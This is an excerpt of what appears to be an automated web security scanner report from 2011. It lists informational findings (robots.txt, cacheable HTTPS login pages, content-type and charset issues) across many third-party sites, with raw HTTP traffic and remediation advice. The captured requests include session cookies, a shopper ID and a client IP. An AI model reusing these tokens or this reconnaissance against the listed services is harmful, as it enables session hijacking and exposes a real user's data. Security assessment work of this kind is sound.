Disallow: /old/
Disallow: /new/
Disallow: /xml/
Disallow: /xml-data/
Disallow: /php-data/

User-agent: ia_ar
...[SNIP]...

21.22. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8
X-FB-Server: 10.62.217.63
Connection: close
Content-Length: 2553

# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://ww
...[SNIP]...

21.23. http://www.google-analytics.com/__utm.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google-analytics.com
Path:	/__utm.gif

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.google-analytics.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Mon, 10 Jan 2011 11:53:04 GMT
Date: Fri, 16 Sep 2011 15:26:41 GMT
Expires: Fri, 16 Sep 2011 15:26:41 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /siteopt.js
Disallow: /config.js

21.24. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Fri, 16 Sep 2011 15:26:26 GMT
Expires: Fri, 16 Sep 2011 15:26:26 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

21.25. http://www.googleadservices.com/pagead/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/aclk

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.googleadservices.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Fri, 16 Sep 2011 15:26:36 GMT
Expires: Fri, 16 Sep 2011 15:26:36 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

21.26. http://www.imailserver.com/imail previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/imail

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.imailserver.com

Response

HTTP/1.1 200 OK
Content-Length: 121
Content-Type: text/plain
Content-Location: http://www.imailserver.com/robots.txt
Last-Modified: Thu, 12 May 2011 15:26:03 GMT
Accept-Ranges: bytes
ETag: "b2281e7b810cc1:788a"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:26:52 GMT
Connection: close

User-agent: *
Disallow: /SearchResults.aspx
Disallow: /search-results/
Sitemap: http://www.imailserver.com/sitemap.xml

21.27. http://www.linkedin.com/analytics/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkedin.com
Path:	/analytics/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.linkedin.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "-781835069"
Last-Modified: Wed, 06 Apr 2011 03:23:38 GMT
Content-Length: 24473
Connection: keep-alive
Date: Fri, 16 Sep 2011 18:14:33 GMT
Server: lighttpd

# Notice: If you would like to crawl LinkedIn,
# please email whitelistcrawl@linkedin.com to apply
# for white listing.

User-agent: Googlebot
Disallow: /addContacts*
Disallow: /addressBookExport*
D
...[SNIP]...

21.28. http://www.socketlabs.com/lpages/od-smtp-service previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.socketlabs.com
Path:	/lpages/od-smtp-service

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.socketlabs.com

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:38 GMT
Server: Apache/2.2.4 (Unix) mod_ssl/2.2.4 OpenSSL/0.9.7a PHP/5.2.3
Last-Modified: Wed, 31 Aug 2011 21:10:19 GMT
ETag: "5f91189-ad-8e3304c0"
Accept-Ranges: bytes
Content-Length: 173
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file

User-agent: *
Disallow: /legal/

User-agent: googlebot
Disallow: /legal/

22. Cacheable HTTPS response previous next
There are 21 instances of this issue:

https://dev.opera.com/login/
https://dev.opera.com/login/lost-password/
https://dev.opera.com/login/wronglogin.dml
https://idp.godaddy.com/keepalive.aspx
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/retrieveaccount.aspx
https://idp.godaddy.com/shopper_new.aspx
https://login.secureserver.net/images/favicon_pl.ico
https://mail.fei-zyfer.com:4443/auth.html
https://mail.fei-zyfer.com:4443/emptyView4.html
https://my.opera.com/community/signup/
https://portal.opera.com/accounts/login/
https://secure.authsmtp.com/signup/index.php
https://sendgrid.com/user/signup/package/44
https://support.socketlabs.com/
https://support.socketlabs.com/index.php/Base/User/Login
https://support.socketlabs.com/index.php/Base/UserRegistration/Register
https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit
https://www.jangosmtp.com/PasswordReset.asp
https://www.jangosmtp.com/login.asp
https://www.smtp.com/signup

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

22.1. https://dev.opera.com/login/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://dev.opera.com
Path:	/login/

Request

Response

22.2. https://dev.opera.com/login/lost-password/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://dev.opera.com
Path:	/login/lost-password/

Request

GET /login/lost-password/ HTTP/1.1
Host: dev.opera.com
Connection: keep-alive
Referer: https://dev.opera.com/login/wronglogin.dml?username=xss&ref=http%3A%2F%2Fdev.opera.com%2Farticles%2Fjavascript%2F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/; __utma=73838855.1311206388.1316208003.1316208003.1316208003.1; __utmb=73838855.4.10.1316208003; __utmc=73838855; __utmz=73838855.1316208003.1.1.utmcsr=opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 16:24:28 GMT
Content-Type: text/html
Connection: keep-alive
X-MyO-Request: 1316190268.myo.cDoyNzowNDowMA==
Front-End-Https: on
Content-Length: 2342

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="google-site-verification" content="L7q_7GF5c9d7ZAUYdfaTiRaB6sTAGv_cRz3nq5DsabM">
...[SNIP]...

22.3. https://dev.opera.com/login/wronglogin.dml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://dev.opera.com
Path:	/login/wronglogin.dml

Request

Response

22.4. https://idp.godaddy.com/keepalive.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/keepalive.aspx

Request

GET /keepalive.aspx? HTTP/1.1
Host: idp.godaddy.com
Connection: keep-alive
Referer: https://mya.godaddy.com/Default.aspx?idpinfo=none&myaurl=%2fdefault.aspx&ci=13025
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; ASP.NET_SessionId=fubx1k3jh1q5dtrpmjpdfb45; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=2; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; currency1=potableSourceStr=USD; adc1=US; traffic=cookies=1&referrer=&sitename=mya.godaddy.com&page=/Default.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=idpinfo=none&myaurl=%2fdefault.aspx&ci=13025&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:24 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 140

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html></html>

22.5. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Request

Response

22.6. https://idp.godaddy.com/retrieveaccount.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/retrieveaccount.aspx

Request

Response

22.7. https://idp.godaddy.com/shopper_new.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/shopper_new.aspx

Request

Response

22.8. https://login.secureserver.net/images/favicon_pl.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://login.secureserver.net
Path:	/images/favicon_pl.ico

Request

GET /images/favicon_pl.ico?r=1 HTTP/1.1
Host: login.secureserver.net
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:53 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 19 Jun 2009 00:08:52 GMT
ETag: "921224-37e-46ca85454ed00"
Accept-Ranges: bytes
Content-Length: 894
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain; charset=UTF-8

..............h.......(....... ...........@........................................................................................................................._=.]>._=._=._=._=._=._=._=._=._=._=.
...[SNIP]...

22.9. https://mail.fei-zyfer.com:4443/auth.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mail.fei-zyfer.com:4443
Path:	/auth.html

Request

GET /auth.html HTTP/1.1
Host: mail.fei-zyfer.com:4443
Connection: keep-alive
Referer: http://mail.fei-zyfer.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=185748286.1001217547.1316214139.1316214139.1316214139.1; __utmb=185748286.1.10.1316214139; __utmc=185748286; __utmz=185748286.1316214139.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.0 200 OK
Server: SonicWALL
Cache-Control: private
Expires: Fri, 16 Sep 2011 20:49:42 GMT
Content-type: text/html; charset=UTF-8;

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta name="SonicWALL Administrator" content="Copyright 2004 (c) SonicWALL, Inc. All rights reserved.">
<title>SonicW
...[SNIP]...

22.10. https://mail.fei-zyfer.com:4443/emptyView4.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mail.fei-zyfer.com:4443
Path:	/emptyView4.html

Request

GET /emptyView4.html HTTP/1.1
Host: mail.fei-zyfer.com:4443
Connection: keep-alive
Referer: https://mail.fei-zyfer.com:4443/auth.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=185748286.1001217547.1316214139.1316214139.1316214139.1; __utmb=185748286.1.10.1316214139; __utmc=185748286; __utmz=185748286.1316214139.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.0 200 OK
Server: SonicWALL
Cache-Control: private
Expires: Fri, 16 Sep 2011 20:49:43 GMT
Content-type: text/html; charset=UTF-8;

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta name="SonicWALL Administrator" content="Copyright 2001 (c) SonicWALL, Inc. All rights reserved.">
<title>Empty
...[SNIP]...

22.11. https://my.opera.com/community/signup/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://my.opera.com
Path:	/community/signup/

Request

Response

22.12. https://portal.opera.com/accounts/login/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://portal.opera.com
Path:	/accounts/login/

Request

Response

22.13. https://secure.authsmtp.com/signup/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.authsmtp.com
Path:	/signup/index.php

Request

GET /signup/index.php?acc=1&cur=usd HTTP/1.1
Host: secure.authsmtp.com
Connection: keep-alive
Referer: http://www.authsmtp.com/auth-smtp/pricing.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=100805598.1342537074.1316204835.1316204835.1316204835.1; __utmb=100805598.2.10.1316204835; __utmc=100805598; __utmz=100805598.1316204835.1.1.utmgclid=CLTWt_OJoqsCFRRSgwod8HVslQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:31:18 GMT
Server: Apache/1.3.41 (Unix) PHP/4.4.8
X-Powered-By: PHP/4.4.8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 14095

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<!-- InstanceBeginEditable name="titl
...[SNIP]...

22.14. https://sendgrid.com/user/signup/package/44 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://sendgrid.com
Path:	/user/signup/package/44

Request

Response

22.15. https://support.socketlabs.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/

Request

Response

22.16. https://support.socketlabs.com/index.php/Base/User/Login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/User/Login

Request

POST /index.php/Base/User/Login HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/
Content-Length: 91
Cache-Control: max-age=0
Origin: https://support.socketlabs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

_redirectAction=%2FKnowledgebase%2FHomeIndex%2FIndex&scemail=Your+email+address&scpassword=

Response

22.17. https://support.socketlabs.com/index.php/Base/UserRegistration/Register previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/Register

Request

GET /index.php/Base/UserRegistration/Register HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/User/Login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

Response

22.18. https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/RegisterSubmit

Request

POST /index.php/Base/UserRegistration/RegisterSubmit HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/UserRegistration/Register
Content-Length: 630
Cache-Control: max-age=0
Origin: https://support.socketlabs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKmcBgFc5dd4a1T1r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="fullname"

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="regemail"

------WebK
...[SNIP]...

Response

22.19. https://www.jangosmtp.com/PasswordReset.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.jangosmtp.com
Path:	/PasswordReset.asp

Request

Response

22.20. https://www.jangosmtp.com/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.jangosmtp.com
Path:	/login.asp

Request

Response

22.21. https://www.smtp.com/signup previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.smtp.com
Path:	/signup

Request

Response

23. Multiple content types specified previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thewhir.com
Path:	/tiny_mce/tiny_mce.js

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Content-Type: application/javascript
text/html; charset=UTF-8

Issue background

If a web response specifies multiple incompatible content types, then the browser will usually analyse the response and attempt to determine the actual MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of multiple incompatible content type statements does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /tiny_mce/tiny_mce.js HTTP/1.1
Host: www.thewhir.com
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:00:20 GMT
Server: Apache
Last-Modified: Fri, 03 Oct 2008 11:54:36 GMT
Accept-Ranges: bytes
Content-Length: 160537
Content-Type: application/javascript

var tinymce={majorVersion:'3',minorVersion:'2.0.2',releaseDate:'2008-10-02',_init:function(){var t=this,d=document,w=window,na=navigator,ua=na.userAgent,i,nl,n,base,p,v;t.isOpera=w.opera&&opera.buildN
...[SNIP]...
<base href="'+t.documentBaseURI.getURI()+'" />';t.iframeHTML+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';if(tinymce.relaxedDomain)t.iframeHTML+='<script type="text/javascript">
...[SNIP]...

24. HTML does not specify charset previous next
There are 17 instances of this issue:

http://amch.questionmarket.com/adscgen/st.php
http://cdn.apture.com/media/html/aptureLoadIframe.html
http://d3.zedo.com/jsc/d3/ff2.html
http://fei-zyfer.com/loading.gif
http://fei-zyfer.com/qmimages/cssalt1_arrow_down.gif
http://fei-zyfer.com/qmimages/cssalt1_arrow_right.gif
http://g-ecx.images-amazon.com/images/G/01/associates/widgets/20070822/US/html/preload_retail_asset._V152385065_.html
http://mediacdn.disqus.com/1316112938/build/system/def.html
http://mediacdn.disqus.com/1316112938/build/system/reply.html
http://mediacdn.disqus.com/1316112938/build/system/upload.html
http://now.eloqua.com/visitor/v200/svrGP.aspx
http://player.ooyala.com/info/primary/
http://rover.ebay.com/ar/1/711-53200-19255-108/1
https://support.socketlabs.com/rss/
http://t.tellapart.com/hif
http://view.atdmt.com/iaction/adoapn_AppNexusDemoActionTag_1
http://www.godaddy.com/sso/keepalive.aspx

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

24.1. http://amch.questionmarket.com/adscgen/st.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Request

GET /adscgen/st.php?survey_num=922317&site=65855528&code=43977402&randnum=1399925 HTTP/1.1
Host: amch.questionmarket.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: ES=917157-$MM\M-0_845473-t`m\M-0_908257-~|k^M-f#4; CS1=43208740-5-1_845473-1-1_912463-21-4_911763-21-5_912550-21-1_912461-21-2_912465-21-1

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:30:33 GMT
Server: Apache
DL_S: a211
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Content-Length: 164
Content-Type: text/html

(function(){
if(1!=4){
(new Image).src="http://amch.questionmarket.com/adsc/d922317/2/43977402/decide.php?ord="+Math.floor((new Date()).getTime()/1000);

}
})();

24.2. http://cdn.apture.com/media/html/aptureLoadIframe.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.apture.com
Path:	/media/html/aptureLoadIframe.html

Request

GET /media/html/aptureLoadIframe.html?v=41994028 HTTP/1.1
Host: cdn.apture.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AC=FQtL8KWd11

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:54:50 GMT
Server: PWS/1.7.3.3
X-Px: ht h0-s1003.p10-sjc.cdngp.net
P3P: CP="NON CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa HISa OUR LEG UNI COM NAV INT"
Cache-Control: max-age=604800
Expires: Thu, 22 Sep 2011 22:09:16 GMT
Age: 71134
Content-Length: 3426
Content-Type: text/html
Vary: Accept-Encoding
Last-Modified: Thu, 15 Sep 2011 22:05:21 GMT
Connection: keep-alive



<!DOCTYPE html>
<html>
<body>
<script>/*

UUID generator included is:
Copyright (c) 2010 Robert Kieffer
Dual licensed un
...[SNIP]...

24.3. http://d3.zedo.com/jsc/d3/ff2.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://d3.zedo.com
Path:	/jsc/d3/ff2.html

Request

